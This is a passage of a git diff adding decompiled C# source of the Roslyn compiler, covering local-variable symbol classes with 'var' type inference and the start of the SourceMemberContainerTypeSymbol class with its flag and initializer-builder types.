TypeWithAnnotations.Create(_nodeBinder.CreateErrorType()); + } + return _type.Value; + } + } + + private sealed class LocalSymbolWithEnclosingContext : SourceLocalSymbol + { + private readonly SyntaxNode _forbiddenZone; + + private readonly Binder _nodeBinder; + + private readonly SyntaxNode _nodeToBind; + + internal override SyntaxNode ForbiddenZone => _forbiddenZone; + + internal override ErrorCode ForbiddenDiagnostic => ErrorCode.ERR_ImplicitlyTypedOutVariableUsedInTheSameArgumentList; + + public LocalSymbolWithEnclosingContext(Symbol containingSymbol, Binder scopeBinder, Binder nodeBinder, TypeSyntax typeSyntax, SyntaxToken identifierToken, LocalDeclarationKind declarationKind, SyntaxNode nodeToBind, SyntaxNode forbiddenZone) + : base(containingSymbol, scopeBinder, allowRefKind: false, allowScoped: true, typeSyntax, identifierToken, declarationKind) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + _nodeBinder = nodeBinder; + _nodeToBind = nodeToBind; + _forbiddenZone = forbiddenZone; + } + + protected override TypeWithAnnotations InferTypeOfVarVariable(BindingDiagnosticBag diagnostics) + { + switch (_nodeToBind.Kind()) + { + case SyntaxKind.BaseConstructorInitializer: + case SyntaxKind.ThisConstructorInitializer: + { + ConstructorInitializerSyntax initializer3 = (ConstructorInitializerSyntax)(object)_nodeToBind; + _nodeBinder.BindConstructorInitializer(initializer3, diagnostics); + break; + } + case SyntaxKind.PrimaryConstructorBaseType: + _nodeBinder.BindConstructorInitializer((PrimaryConstructorBaseTypeSyntax)(object)_nodeToBind, diagnostics); + break; + case SyntaxKind.ArgumentList: + { + SyntaxNode parent = _nodeToBind.Parent; + if (!(parent is ConstructorInitializerSyntax initializer)) + { + if (!(parent is PrimaryConstructorBaseTypeSyntax initializer2)) + { + throw ExceptionUtilities.UnexpectedValue((object)_nodeToBind.Parent); + } + _nodeBinder.BindConstructorInitializer(initializer2, diagnostics); + } + else + { + _nodeBinder.BindConstructorInitializer(initializer, diagnostics); + } + break; + } + case SyntaxKind.CasePatternSwitchLabel: + _nodeBinder.BindPatternSwitchLabelForInference((CasePatternSwitchLabelSyntax)(object)_nodeToBind, diagnostics); + break; + case SyntaxKind.VariableDeclarator: + _nodeBinder.BindDeclaratorArguments((VariableDeclaratorSyntax)(object)_nodeToBind, diagnostics); + break; + case SyntaxKind.SwitchExpressionArm: + { + SwitchExpressionArmSyntax node = (SwitchExpressionArmSyntax)(object)_nodeToBind; + ((SwitchExpressionArmBinder)_nodeBinder).BindSwitchExpressionArm(node, diagnostics); + break; + } + case SyntaxKind.GotoCaseStatement: + _nodeBinder.BindStatement((GotoStatementSyntax)(object)_nodeToBind, diagnostics); + break; + default: + _nodeBinder.BindExpression((ExpressionSyntax)(object)_nodeToBind, diagnostics); + break; + } + if (_type == null) + { + SetTypeWithAnnotations(TypeWithAnnotations.Create(_nodeBinder.CreateErrorType("var"))); + } + return _type.Value; + } + } + + private readonly Binder _scopeBinder; + + private readonly Symbol _containingSymbol; + + private readonly SyntaxToken _identifierToken; + + private readonly TypeSyntax _typeSyntax; + + private readonly RefKind _refKind; + + private readonly LocalDeclarationKind _declarationKind; + + private readonly ScopedKind _scope; + + private TypeWithAnnotations.Boxed _type; + + internal Binder ScopeBinder => _scopeBinder; + + internal override SyntaxNode ScopeDesignatorOpt => _scopeBinder.ScopeDesignator; + + internal sealed override ScopedKind Scope => _scope; + + internal Binder TypeSyntaxBinder => _scopeBinder; + + internal override bool IsImportedFromMetadata => false; + + internal override LocalDeclarationKind DeclarationKind => _declarationKind; + + internal override SynthesizedLocalKind SynthesizedKind => (SynthesizedLocalKind)0; + + internal override bool IsPinned => false; + + internal sealed override bool IsKnownToReferToTempIfReferenceType => false; + + public override Symbol ContainingSymbol => _containingSymbol; + + public override string Name => ((SyntaxToken)(ref _identifierToken)).ValueText; + + internal override SyntaxToken IdentifierToken => _identifierToken; + + public override TypeWithAnnotations TypeWithAnnotations + { + get + { + if (_type == null) + { + TypeWithAnnotations typeSymbol = GetTypeSymbol(); + SetTypeWithAnnotations(typeSymbol); + } + return _type.Value; + } + } + + public bool IsVar + { + get + { + if (_typeSyntax == null) + { + return true; + } + bool isScoped; + TypeSyntax typeSyntax = _typeSyntax.SkipScoped(out isScoped).SkipRef(); + if (typeSyntax.IsVar) + { + TypeSyntaxBinder.BindTypeOrVarKeyword(typeSyntax, BindingDiagnosticBag.Discarded, out var isVar); + return isVar; + } + return false; + } + } + + public override ImmutableArray Locations => ImmutableArray.Create(GetFirstLocation()); + + internal override bool HasSourceLocation => true; + + public override ImmutableArray DeclaringSyntaxReferences => ImmutableArray.Create(((SyntaxToken)(ref _identifierToken)).Parent.GetReference()); + + internal override bool IsCompilerGenerated => false; + + public override RefKind RefKind => _refKind; + + private SourceLocalSymbol(Symbol containingSymbol, Binder scopeBinder, bool allowRefKind, bool allowScoped, TypeSyntax typeSyntax, SyntaxToken identifierToken, LocalDeclarationKind declarationKind) + { + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_0048: Unknown result type (might be due to invalid IL or missing references) + //IL_005f: Unknown result type (might be due to invalid IL or missing references) + _scopeBinder = scopeBinder; + _containingSymbol = containingSymbol; + _identifierToken = identifierToken; + _typeSyntax = typeSyntax; + typeSyntax = typeSyntax.SkipScoped(out var isScoped); + isScoped = isScoped && allowScoped; + if (allowRefKind) + { + typeSyntax.SkipRefInLocalOrReturn(null, out _refKind); + } + _scope = (ScopedKind)(((int)_refKind == 0) ? (isScoped ? 2 : 0) : (isScoped ? 1 : 0)); + _declarationKind = declarationKind; + } + + internal override string GetDebuggerDisplay() + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + if (_type == null) + { + return $"{Kind} ${Name}"; + } + return base.GetDebuggerDisplay(); + } + + public static SourceLocalSymbol MakeForeachLocal(MethodSymbol containingMethod, ForEachLoopBinder binder, TypeSyntax typeSyntax, SyntaxToken identifierToken, ExpressionSyntax collection) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + return new ForEachLocalSymbol(containingMethod, binder, typeSyntax, identifierToken, collection, LocalDeclarationKind.ForEachIterationVariable); + } + + public static SourceLocalSymbol MakeDeconstructionLocal(Symbol containingSymbol, Binder scopeBinder, Binder nodeBinder, TypeSyntax closestTypeSyntax, SyntaxToken identifierToken, LocalDeclarationKind kind, SyntaxNode deconstruction) + { + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + if (!closestTypeSyntax.SkipScoped(out var _).SkipRef().IsVar) + { + return new SourceLocalSymbol(containingSymbol, scopeBinder, allowRefKind: false, allowScoped: true, closestTypeSyntax, identifierToken, kind); + } + return new DeconstructionLocalSymbol(containingSymbol, scopeBinder, nodeBinder, closestTypeSyntax, identifierToken, kind, deconstruction); + } + + internal static LocalSymbol MakeLocalSymbolWithEnclosingContext(Symbol containingSymbol, Binder scopeBinder, Binder nodeBinder, TypeSyntax typeSyntax, SyntaxToken identifierToken, LocalDeclarationKind kind, SyntaxNode nodeToBind, SyntaxNode forbiddenZone) + { + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + if ((typeSyntax != null && !typeSyntax.SkipScoped(out var _).SkipRef().IsVar) || kind == LocalDeclarationKind.DeclarationExpressionVariable) + { + return new SourceLocalSymbol(containingSymbol, scopeBinder, allowRefKind: false, allowScoped: true, typeSyntax, identifierToken, kind); + } + return new LocalSymbolWithEnclosingContext(containingSymbol, scopeBinder, nodeBinder, typeSyntax, identifierToken, kind, nodeToBind, forbiddenZone); + } + + public static SourceLocalSymbol MakeLocal(Symbol containingSymbol, Binder scopeBinder, bool allowRefKind, bool allowScoped, TypeSyntax typeSyntax, SyntaxToken identifierToken, LocalDeclarationKind declarationKind, EqualsValueClauseSyntax initializer, Binder initializerBinderOpt = null) + { + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + if (initializer == null) + { + return new SourceLocalSymbol(containingSymbol, scopeBinder, allowRefKind, allowScoped, typeSyntax, identifierToken, declarationKind); + } + return new LocalWithInitializer(containingSymbol, scopeBinder, typeSyntax, identifierToken, initializer, initializerBinderOpt ?? scopeBinder, declarationKind, allowScoped); + } + + internal override LocalSymbol WithSynthesizedLocalKindAndSyntax(SynthesizedLocalKind kind, SyntaxNode syntax) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/Source/SourceLocalSymbol.cs", 241); + } + + private TypeWithAnnotations GetTypeSymbol() + { + BindingDiagnosticBag discarded = BindingDiagnosticBag.Discarded; + Binder typeSyntaxBinder = TypeSyntaxBinder; + bool isVar; + TypeWithAnnotations result; + if (_typeSyntax == null) + { + isVar = true; + result = default(TypeWithAnnotations); + } + else + { + result = typeSyntaxBinder.BindTypeOrVarKeyword(_typeSyntax.SkipScoped(out var _).SkipRef(), discarded, out isVar); + } + if (isVar) + { + TypeWithAnnotations typeWithAnnotations = InferTypeOfVarVariable(discarded); + result = ((!typeWithAnnotations.HasType || typeWithAnnotations.IsVoidType()) ? TypeWithAnnotations.Create(typeSyntaxBinder.CreateErrorType("var")) : typeWithAnnotations); + } + return result; + } + + protected virtual TypeWithAnnotations InferTypeOfVarVariable(BindingDiagnosticBag diagnostics) + { + return _type?.Value ?? default(TypeWithAnnotations); + } + + internal void SetTypeWithAnnotations(TypeWithAnnotations newType) + { + _ = _type?.Value; + if (_type == null) + { + Interlocked.CompareExchange(ref _type, new TypeWithAnnotations.Boxed(newType), null); + } + } + + public override Location TryGetFirstLocation() + { + return ((SyntaxToken)(ref _identifierToken)).GetLocation(); + } + + internal sealed override SyntaxNode GetDeclaratorSyntax() + { + return ((SyntaxToken)(ref _identifierToken)).Parent; + } + + internal override ConstantValue GetConstantValue(SyntaxNode node, LocalSymbol inProgress, BindingDiagnosticBag diagnostics) + { + return null; + } + + internal override ImmutableBindingDiagnostic GetConstantValueDiagnostics(BoundExpression boundInitValue) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + return ImmutableBindingDiagnostic.Empty; + } + + public sealed override bool Equals(Symbol obj, TypeCompareKind compareKind) + { + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0042: Unknown result type (might be due to invalid IL or missing references) + if ((object)obj == this) + { + return true; + } + if (obj is UpdatedContainingSymbolAndNullableAnnotationLocal updatedContainingSymbolAndNullableAnnotationLocal) + { + return updatedContainingSymbolAndNullableAnnotationLocal.Equals(this, compareKind); + } + if (obj is SourceLocalSymbol sourceLocalSymbol && ((SyntaxToken)(ref sourceLocalSymbol._identifierToken)).Equals(_identifierToken)) + { + return sourceLocalSymbol._containingSymbol.Equals(_containingSymbol, compareKind); + } + return false; + } + + public sealed override int GetHashCode() + { + return Hash.Combine(((object)Unsafe.As(ref _identifierToken)/*cast due to constrained. prefix*/).GetHashCode(), _containingSymbol.GetHashCode()); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceMemberContainerTypeSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceMemberContainerTypeSymbol.cs new file mode 100644 index 0000000..33763b6 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceMemberContainerTypeSymbol.cs @@ -0,0 +1,6000 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Diagnostics; +using System.Linq; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; +using System.Threading; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.CSharp.Emit; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.Symbols; +using Microsoft.CodeAnalysis.Text; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal abstract class SourceMemberContainerTypeSymbol : NamedTypeSymbol +{ + private struct Flags + { + private int _flags; + + private const int SpecialTypeOffset = 0; + + private const int SpecialTypeSize = 6; + + private const int ManagedKindOffset = 6; + + private const int ManagedKindSize = 2; + + private const int FieldDefinitionsNotedOffset = 8; + + private const int FieldDefinitionsNotedSize = 1; + + private const int FlattenedMembersIsSortedOffset = 9; + + private const int FlattenedMembersIsSortedSize = 1; + + private const int TypeKindOffset = 10; + + private const int TypeKindSize = 4; + + private const int NullableContextOffset = 14; + + private const int NullableContextSize = 3; + + private const int HasDeclaredRequiredMembersOffset = 17; + + private const int HasDeclaredRequiredMembersSize = 2; + + private const int HasPrimaryConstructorOffset = 19; + + private const int SpecialTypeMask = 63; + + private const int ManagedKindMask = 3; + + private const int TypeKindMask = 15; + + private const int NullableContextMask = 7; + + private const int FieldDefinitionsNotedBit = 256; + + private const int FlattenedMembersIsSortedBit = 512; + + private const int HasDeclaredMembersBit = 131072; + + private const int HasDeclaredMembersBitSet = 262144; + + private const int HasPrimaryConstructorBit = 524288; + + public SpecialType SpecialType => (SpecialType)(sbyte)(_flags & 0x3F); + + public ManagedKind ManagedKind => (ManagedKind)(byte)((_flags >> 6) & 3); + + public bool FieldDefinitionsNoted => (_flags & 0x100) != 0; + + public bool FlattenedMembersIsSorted => (_flags & 0x200) != 0; + + public TypeKind TypeKind => (TypeKind)(byte)((_flags >> 10) & 0xF); + + public readonly bool HasPrimaryConstructor => (_flags & 0x80000) != 0; + + public Flags(SpecialType specialType, TypeKind typeKind, bool hasPrimaryConstructor) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0005: Expected I4, but got Unknown + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Expected I4, but got Unknown + int num = specialType & 0x3F; + int num2 = (typeKind & 0xF) << 10; + int num3 = (hasPrimaryConstructor ? 524288 : 0); + _flags = num | num2 | num3; + } + + public void SetFieldDefinitionsNoted() + { + ThreadSafeFlagOperations.Set(ref _flags, 256); + } + + public void SetFlattenedMembersIsSorted() + { + ThreadSafeFlagOperations.Set(ref _flags, 512); + } + + private static bool BitsAreUnsetOrSame(int bits, int mask) + { + if ((bits & mask) != 0) + { + return (bits & mask) == mask; + } + return true; + } + + public void SetManagedKind(ManagedKind managedKind) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0004: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Expected I4, but got Unknown + int num = (managedKind & 3) << 6; + ThreadSafeFlagOperations.Set(ref _flags, num); + } + + public bool TryGetNullableContext(out byte? value) + { + return ((NullableContextKind)((_flags >> 14) & 7)).TryGetByte(out value); + } + + public bool SetNullableContext(byte? value) + { + return ThreadSafeFlagOperations.Set(ref _flags, (int)((uint)(value.ToNullableContextFlags() & (NullableContextKind)7) << 14)); + } + + public bool TryGetHasDeclaredRequiredMembers(out bool value) + { + if ((_flags & 0x40000) != 0) + { + value = (_flags & 0x20000) != 0; + return true; + } + value = false; + return false; + } + + public bool SetHasDeclaredRequiredMembers(bool value) + { + return ThreadSafeFlagOperations.Set(ref _flags, 0x40000 | (value ? 131072 : 0)); + } + } + + protected sealed class MembersAndInitializers + { + internal readonly SynthesizedPrimaryConstructor? PrimaryConstructor; + + internal readonly ImmutableArray NonTypeMembers; + + internal readonly ImmutableArray> StaticInitializers; + + internal readonly ImmutableArray> InstanceInitializers; + + internal readonly bool HaveIndexers; + + internal readonly bool IsNullableEnabledForInstanceConstructorsAndFields; + + internal readonly bool IsNullableEnabledForStaticConstructorsAndFields; + + public MembersAndInitializers(SynthesizedPrimaryConstructor? primaryConstructor, ImmutableArray nonTypeMembers, ImmutableArray> staticInitializers, ImmutableArray> instanceInitializers, bool haveIndexers, bool isNullableEnabledForInstanceConstructorsAndFields, bool isNullableEnabledForStaticConstructorsAndFields) + { + PrimaryConstructor = primaryConstructor; + NonTypeMembers = nonTypeMembers; + StaticInitializers = staticInitializers; + InstanceInitializers = instanceInitializers; + HaveIndexers = haveIndexers; + IsNullableEnabledForInstanceConstructorsAndFields = isNullableEnabledForInstanceConstructorsAndFields; + IsNullableEnabledForStaticConstructorsAndFields = isNullableEnabledForStaticConstructorsAndFields; + } + } + + private sealed class DeclaredMembersAndInitializersBuilder + { + public ArrayBuilder NonTypeMembers = ArrayBuilder.GetInstance(); + + public readonly ArrayBuilder> StaticInitializers = ArrayBuilder>.GetInstance(); + + public readonly ArrayBuilder> InstanceInitializers = ArrayBuilder>.GetInstance(); + + public bool HaveIndexers; + + public TypeDeclarationSyntax? DeclarationWithParameters; + + public SynthesizedPrimaryConstructor? PrimaryConstructor; + + public bool IsNullableEnabledForInstanceConstructorsAndFields; + + public bool IsNullableEnabledForStaticConstructorsAndFields; + + public DeclaredMembersAndInitializers ToReadOnlyAndFree(CSharpCompilation compilation) + { + return new DeclaredMembersAndInitializers(NonTypeMembers.ToImmutableAndFree(), MembersAndInitializersBuilder.ToReadOnlyAndFree(StaticInitializers), MembersAndInitializersBuilder.ToReadOnlyAndFree(InstanceInitializers), HaveIndexers, DeclarationWithParameters, PrimaryConstructor, IsNullableEnabledForInstanceConstructorsAndFields, IsNullableEnabledForStaticConstructorsAndFields, compilation); + } + + public void UpdateIsNullableEnabledForConstructorsAndFields(bool useStatic, CSharpCompilation compilation, CSharpSyntaxNode syntax) + { + ref bool isNullableEnabledForConstructorsAndFields = ref GetIsNullableEnabledForConstructorsAndFields(useStatic); + isNullableEnabledForConstructorsAndFields = isNullableEnabledForConstructorsAndFields || compilation.IsNullableAnalysisEnabledIn((SyntaxNode)(object)syntax); + } + + public void UpdateIsNullableEnabledForConstructorsAndFields(bool useStatic, bool value) + { + GetIsNullableEnabledForConstructorsAndFields(useStatic) |= value; + } + + private ref bool GetIsNullableEnabledForConstructorsAndFields(bool useStatic) + { + if (!useStatic) + { + return ref IsNullableEnabledForInstanceConstructorsAndFields; + } + return ref IsNullableEnabledForStaticConstructorsAndFields; + } + + public void Free() + { + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Unknown result type (might be due to invalid IL or missing references) + NonTypeMembers.Free(); + Enumerator> enumerator = StaticInitializers.GetEnumerator(); + while (enumerator.MoveNext()) + { + enumerator.Current.Free(); + } + StaticInitializers.Free(); + enumerator = InstanceInitializers.GetEnumerator(); + while (enumerator.MoveNext()) + { + enumerator.Current.Free(); + } + InstanceInitializers.Free(); + } + } + + protected sealed class DeclaredMembersAndInitializers + { + public readonly ImmutableArray NonTypeMembers; + + public readonly ImmutableArray> StaticInitializers; + + public readonly ImmutableArray> InstanceInitializers; + + public readonly bool HaveIndexers; + + public readonly TypeDeclarationSyntax? DeclarationWithParameters; + + public readonly SynthesizedPrimaryConstructor? PrimaryConstructor; + + public readonly bool IsNullableEnabledForInstanceConstructorsAndFields; + + public readonly bool IsNullableEnabledForStaticConstructorsAndFields; + + public static readonly DeclaredMembersAndInitializers UninitializedSentinel = new DeclaredMembersAndInitializers(); + + private DeclaredMembersAndInitializers() + { + } + + public DeclaredMembersAndInitializers(ImmutableArray nonTypeMembers, ImmutableArray> staticInitializers, ImmutableArray> instanceInitializers, bool haveIndexers, TypeDeclarationSyntax? declarationWithParameters, SynthesizedPrimaryConstructor? primaryConstructor, bool isNullableEnabledForInstanceConstructorsAndFields, bool isNullableEnabledForStaticConstructorsAndFields, CSharpCompilation compilation) + { + NonTypeMembers = nonTypeMembers; + StaticInitializers = staticInitializers; + InstanceInitializers = instanceInitializers; + HaveIndexers = haveIndexers; + DeclarationWithParameters = declarationWithParameters; + PrimaryConstructor = primaryConstructor; + IsNullableEnabledForInstanceConstructorsAndFields = isNullableEnabledForInstanceConstructorsAndFields; + IsNullableEnabledForStaticConstructorsAndFields = isNullableEnabledForStaticConstructorsAndFields; + } + + [Conditional("DEBUG")] + public static void AssertInitializers(ImmutableArray> initializers, CSharpCompilation compilation) + { + if (!initializers.IsEmpty) + { + ImmutableArray>.Enumerator enumerator = initializers.GetEnumerator(); + while (enumerator.MoveNext()) + { + _ = enumerator.Current; + } + for (int i = 0; i < initializers.Length; i++) + { + _ = 0; + _ = i + 1; + _ = initializers.Length; + _ = initializers[i].Length; + _ = 1; + } + } + } + } + + private sealed class MembersAndInitializersBuilder + { + private ArrayBuilder? NonTypeMembers; + + private ArrayBuilder? InstanceInitializersForPositionalMembers; + + private bool IsNullableEnabledForInstanceConstructorsAndFields; + + private bool IsNullableEnabledForStaticConstructorsAndFields; + + public MembersAndInitializersBuilder(DeclaredMembersAndInitializers declaredMembersAndInitializers) + { + IsNullableEnabledForInstanceConstructorsAndFields = declaredMembersAndInitializers.IsNullableEnabledForInstanceConstructorsAndFields; + IsNullableEnabledForStaticConstructorsAndFields = declaredMembersAndInitializers.IsNullableEnabledForStaticConstructorsAndFields; + } + + public MembersAndInitializers ToReadOnlyAndFree(DeclaredMembersAndInitializers declaredMembers) + { + ImmutableArray nonTypeMembers = NonTypeMembers?.ToImmutableAndFree() ?? declaredMembers.NonTypeMembers; + ImmutableArray> instanceInitializers = ((InstanceInitializersForPositionalMembers == null) ? declaredMembers.InstanceInitializers : mergeInitializers()); + return new MembersAndInitializers(declaredMembers.PrimaryConstructor, nonTypeMembers, declaredMembers.StaticInitializers, instanceInitializers, declaredMembers.HaveIndexers, IsNullableEnabledForInstanceConstructorsAndFields, IsNullableEnabledForStaticConstructorsAndFields); + ImmutableArray> mergeInitializers() + { + //IL_00d5: Unknown result type (might be due to invalid IL or missing references) + //IL_00da: Unknown result type (might be due to invalid IL or missing references) + //IL_00fe: Unknown result type (might be due to invalid IL or missing references) + //IL_0103: Unknown result type (might be due to invalid IL or missing references) + int length = declaredMembers.InstanceInitializers.Length; + if (length == 0) + { + return ImmutableArray.Create(InstanceInitializersForPositionalMembers.ToImmutableAndFree()); + } + CSharpCompilation declaringCompilation = declaredMembers.PrimaryConstructor.DeclaringCompilation; + LexicalSortKey xSortKey = new LexicalSortKey(InstanceInitializersForPositionalMembers.First().Syntax, declaringCompilation); + int i; + for (i = 0; i < length && LexicalSortKey.Compare(xSortKey, new LexicalSortKey(declaredMembers.InstanceInitializers[i][0].Syntax, declaringCompilation)) >= 0; i++) + { + } + ArrayBuilder> instance; + if (i != length && declaredMembers.DeclarationWithParameters.SyntaxTree == declaredMembers.InstanceInitializers[i][0].Syntax.SyntaxTree) + { + TextSpan span = ((SyntaxNode)declaredMembers.DeclarationWithParameters).Span; + TextSpan span2 = declaredMembers.InstanceInitializers[i][0].Syntax.Span; + if (((TextSpan)(ref span)).Contains(((TextSpan)(ref span2)).Start)) + { + ImmutableArray immutableArray = declaredMembers.InstanceInitializers[i]; + ArrayBuilder instanceInitializersForPositionalMembers = InstanceInitializersForPositionalMembers; + instanceInitializersForPositionalMembers.AddRange(immutableArray); + instance = ArrayBuilder>.GetInstance(length); + instance.AddRange(declaredMembers.InstanceInitializers, i); + instance.Add(instanceInitializersForPositionalMembers.ToImmutableAndFree()); + instance.AddRange(declaredMembers.InstanceInitializers, i + 1, length - (i + 1)); + goto IL_01c1; + } + } + instance = ArrayBuilder>.GetInstance(length + 1); + instance.AddRange(declaredMembers.InstanceInitializers, i); + instance.Add(InstanceInitializersForPositionalMembers.ToImmutableAndFree()); + instance.AddRange(declaredMembers.InstanceInitializers, i, length - i); + goto IL_01c1; + IL_01c1: + return instance.ToImmutableAndFree(); + } + } + + public void AddInstanceInitializerForPositionalMembers(FieldOrPropertyInitializer initializer) + { + if (InstanceInitializersForPositionalMembers == null) + { + InstanceInitializersForPositionalMembers = ArrayBuilder.GetInstance(); + } + InstanceInitializersForPositionalMembers.Add(initializer); + } + + public IReadOnlyCollection GetNonTypeMembers(DeclaredMembersAndInitializers declaredMembers) + { + IReadOnlyCollection nonTypeMembers = (IReadOnlyCollection)NonTypeMembers; + return (IReadOnlyCollection)(nonTypeMembers ?? ((object)declaredMembers.NonTypeMembers)); + } + + public void AddNonTypeMember(Symbol member, DeclaredMembersAndInitializers declaredMembers) + { + if (NonTypeMembers == null) + { + NonTypeMembers = ArrayBuilder.GetInstance(declaredMembers.NonTypeMembers.Length + 1); + NonTypeMembers.AddRange(declaredMembers.NonTypeMembers); + } + NonTypeMembers.Add(member); + } + + public void SetNonTypeMembers(ArrayBuilder members) + { + NonTypeMembers?.Free(); + NonTypeMembers = members; + } + + public void UpdateIsNullableEnabledForConstructorsAndFields(bool useStatic, CSharpCompilation compilation, CSharpSyntaxNode syntax) + { + ref bool isNullableEnabledForConstructorsAndFields = ref GetIsNullableEnabledForConstructorsAndFields(useStatic); + isNullableEnabledForConstructorsAndFields = isNullableEnabledForConstructorsAndFields || compilation.IsNullableAnalysisEnabledIn((SyntaxNode)(object)syntax); + } + + private ref bool GetIsNullableEnabledForConstructorsAndFields(bool useStatic) + { + if (!useStatic) + { + return ref IsNullableEnabledForInstanceConstructorsAndFields; + } + return ref IsNullableEnabledForStaticConstructorsAndFields; + } + + internal static ImmutableArray> ToReadOnlyAndFree(ArrayBuilder> initializers) + { + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + if (initializers.Count == 0) + { + initializers.Free(); + return ImmutableArray>.Empty; + } + ArrayBuilder> instance = ArrayBuilder>.GetInstance(initializers.Count); + Enumerator> enumerator = initializers.GetEnumerator(); + while (enumerator.MoveNext()) + { + ArrayBuilder current = enumerator.Current; + instance.Add(current.ToImmutableAndFree()); + } + initializers.Free(); + return instance.ToImmutableAndFree(); + } + + public void Free() + { + NonTypeMembers?.Free(); + InstanceInitializersForPositionalMembers?.Free(); + } + } + + internal class SynthesizedExplicitImplementations + { + public static readonly SynthesizedExplicitImplementations Empty = new SynthesizedExplicitImplementations(ImmutableArray.Empty, ImmutableArray<(MethodSymbol, MethodSymbol)>.Empty); + + public readonly ImmutableArray ForwardingMethods; + + public readonly ImmutableArray<(MethodSymbol Body, MethodSymbol Implemented)> MethodImpls; + + private SynthesizedExplicitImplementations(ImmutableArray forwardingMethods, ImmutableArray<(MethodSymbol Body, MethodSymbol Implemented)> methodImpls) + { + ForwardingMethods = ImmutableArrayExtensions.NullToEmpty(forwardingMethods); + MethodImpls = ImmutableArrayExtensions.NullToEmpty<(MethodSymbol, MethodSymbol)>(methodImpls); + } + + internal static SynthesizedExplicitImplementations Create(ImmutableArray forwardingMethods, ImmutableArray<(MethodSymbol Body, MethodSymbol Implemented)> methodImpls) + { + if (forwardingMethods.IsDefaultOrEmpty && methodImpls.IsDefaultOrEmpty) + { + return Empty; + } + return new SynthesizedExplicitImplementations(forwardingMethods, methodImpls); + } + } + + private enum HasBaseTypeDeclaringInterfaceResult + { + NoMatch, + IgnoringNullableMatch, + ExactMatch + } + + private static readonly ObjectPool> s_duplicateRecordMemberSignatureDictionary = PooledDictionary.CreatePool((IEqualityComparer)MemberSignatureComparer.RecordAPISignatureComparer); + + protected SymbolCompletionState state; + + private Flags _flags; + + private ImmutableArray _managedKindUseSiteDiagnostics; + + private ImmutableArray _managedKindUseSiteDependencies; + + private readonly DeclarationModifiers _declModifiers; + + private readonly NamespaceOrTypeSymbol _containingSymbol; + + protected readonly MergedTypeDeclaration declaration; + + private ImmutableArray _lazySimpleProgramEntryPoints; + + private DeclaredMembersAndInitializers? _lazyDeclaredMembersAndInitializers = DeclaredMembersAndInitializers.UninitializedSentinel; + + private MembersAndInitializers? _lazyMembersAndInitializers; + + private Dictionary, ImmutableArray>? _lazyMembersDictionary; + + private Dictionary, ImmutableArray>? _lazyEarlyAttributeDecodingMembersDictionary; + + private static readonly Dictionary, ImmutableArray> s_emptyTypeMembers = new Dictionary, ImmutableArray>((IEqualityComparer>?)EmptyReadOnlyMemoryOfCharComparer.Instance); + + private Dictionary, ImmutableArray>? _lazyTypeMembers; + + private ImmutableArray _lazyMembersFlattened; + + private SynthesizedExplicitImplementations? _lazySynthesizedExplicitImplementations; + + private int _lazyKnownCircularStruct; + + private LexicalSortKey _lazyLexicalSortKey = LexicalSortKey.NotInitialized; + + private ThreeState _lazyContainsExtensionMethods; + + private ThreeState _lazyAnyMemberHasAttributes; + + private static readonly ReportMismatchInReturnType ReportBadReturn = delegate(BindingDiagnosticBag diagnostics, MethodSymbol overriddenMethod, MethodSymbol overridingMethod, bool topLevel, Location location) + { + diagnostics.Add(topLevel ? ErrorCode.WRN_TopLevelNullabilityMismatchInReturnTypeOnOverride : ErrorCode.WRN_NullabilityMismatchInReturnTypeOnOverride, location); + }; + + private static readonly ReportMismatchInParameterType ReportBadParameter = delegate(BindingDiagnosticBag diagnostics, MethodSymbol overriddenMethod, MethodSymbol overridingMethod, ParameterSymbol overridingParameter, bool topLevel, Location location) + { + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Expected O, but got Unknown + diagnostics.Add(topLevel ? ErrorCode.WRN_TopLevelNullabilityMismatchInParameterTypeOnOverride : ErrorCode.WRN_NullabilityMismatchInParameterTypeOnOverride, location, (object)new FormattedSymbol((ISymbolInternal)(object)overridingParameter, SymbolDisplayFormat.ShortFormat)); + }; + + internal sealed override bool RequiresCompletion => true; + + public sealed override NamedTypeSymbol? ContainingType => _containingSymbol as NamedTypeSymbol; + + public sealed override Symbol ContainingSymbol => _containingSymbol; + + public override SpecialType SpecialType => _flags.SpecialType; + + public override TypeKind 